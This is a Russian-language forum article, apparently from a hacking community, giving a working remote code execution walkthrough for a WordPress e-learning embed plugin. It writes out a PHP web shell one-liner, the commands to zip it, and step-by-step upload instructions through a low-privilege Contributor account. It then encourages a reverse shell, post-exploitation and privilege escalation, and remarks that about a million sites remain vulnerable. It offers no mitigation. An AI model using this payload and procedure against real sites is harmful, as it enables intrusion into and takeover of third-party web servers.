Статья WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution

Доброго времени суток форумчане. Сегодня я расскажу вам про удалённое выполнение кода через плагин WordPress Insert or Embed Articulate Content into WordPress.
В этом плагине отсутствует фильтр который бы проверял на 'вредность' php файл.

Wordpress - Система управления содержимым сайта с открытым исходным кодом; написана на PHP; сервер базы данных - MySQL; выпущена под лицензией GNU GPL версии 2. Сфера применения - от блогов до достаточно сложных новостных ресурсов и интернет-магазинов. Встроенная система «тем» и «плагинов» вместе с удачной архитектурой позволяет конструировать проекты широкой функциональной сложности.
30701

Поехали!
Эта уязвимость была найдена 2019-06-11 и всё ещё миллион сайтов уязвимы перед ней.
Чтобы выполнить код нужно быть авторизированным пользователем в системе и иметь доступ к плагину.

## 1. Для начала нужно создать .zip файл с двумя файлами: index.html, index.php
echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php

## 2. Войдите в wp-admin с любой ролью пользователя, которая имеет доступ к функциональности плагина (по умолчанию даже роль "Contributors" имеет доступ к ней). Так что проблем не должно быть.
## 3. Далее зеагрузитье ваш payload в плагин: Создать новый пост - > выберите "Добавить блок" - > E-Learning - > загрузить poc.zip - > вставить как: Iframe - > вставить
## 4. Доступ к webshell с URL-адреса, отображаемого после загрузки аналогично.
Пример:

Далее можно уже сделать reverse shell и получить шелл сайта и уже делать пост-эксплуатацию и повышению привилегий.
Спасибо за прочтение моей статьи! В скором времени напишу про удалённое выполнение кода на playstation4!
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!